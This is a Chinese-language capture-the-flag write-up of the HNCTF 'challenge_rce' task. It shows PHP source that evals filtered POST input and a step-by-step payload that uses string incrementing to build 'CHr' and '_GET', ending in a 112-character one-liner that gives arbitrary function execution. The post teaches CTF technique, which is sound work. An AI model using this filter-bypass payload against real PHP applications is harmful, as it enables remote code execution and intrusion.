March 2, 2023

[HNCTF] challenge_rce

进入页面,茫茫人海,空白一片,打开源代码发现:

image-20221002130248720

你在提示我什么呢,你提示了但是没有完全提示,误打误撞发现只要get传入一个hint参数即可显示源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

这个过滤可谓是惊天地泣鬼神,通过验证,preg_match中可用字符为:

1-9,,,+,=,$,_,(),;,.,[],{}

我们该如何利用这么一点东西去构造payload,进行rce呢?

众所周知无字母数字RCE的办法不外乎就四种,取反按位异或自增POC上传文件,这里取反和异或给ban了,上传文件需要system函数,所以只能使用自增

自增的原理就是当变量为字符串时,他可以通过自增的方法来改变数值,如

$a='A';$a++;echo $a;

上述语句就会输出B,这就是自增的原理,如果我们有了一个字母A,理论上是不是可以通过自增来获取所有字符串?,这是可行的,但是有一点需要注意strlen($rce) <= 120,这也是比较恶心的一个点,需要考虑一下你的字符串长度,所以我们自增的时候必须尽量缩短的我们的长度

那么我们现在就来构造payload:

首先可以本地测试一下$_=[]._,这样的话$_就等于字符串的’Array_‘:

image-20221002131334202

这样的话就通过$_=([]._){0}来获取第一个字母’A’:

image-20221002131430506

这样我们就得到了A,接下来就通过递增来构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
$_=([]._){0}; //A
$_++;
$_1=++$_; //$_1=C
$_++;
$_++;
$_++;
$_++;
$_1.=++$_.([]._){1}; //$_1=CHr
$_=_.$_1(71).$_1(69).$_1(84); //$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
//缩短为一行
$_=([]._){0};$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_1.=++$_.([]._){1};$_=_.$_1(71).$_1(69).$_1(84);$$_[1]($$_[2]);

长度一共为112,所以是比较极限的了,这里假如不构造CHr的话,那么自增下去字符串就会超过120,这也是本题的一个妙处,然后把payload传入时要URL编码,因为+有特殊意义:

image-20221002132117373

这边就成功RCE了,接下来一步步读取文件即可:

image-20221002132740415

image-20221002132755036

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#RCE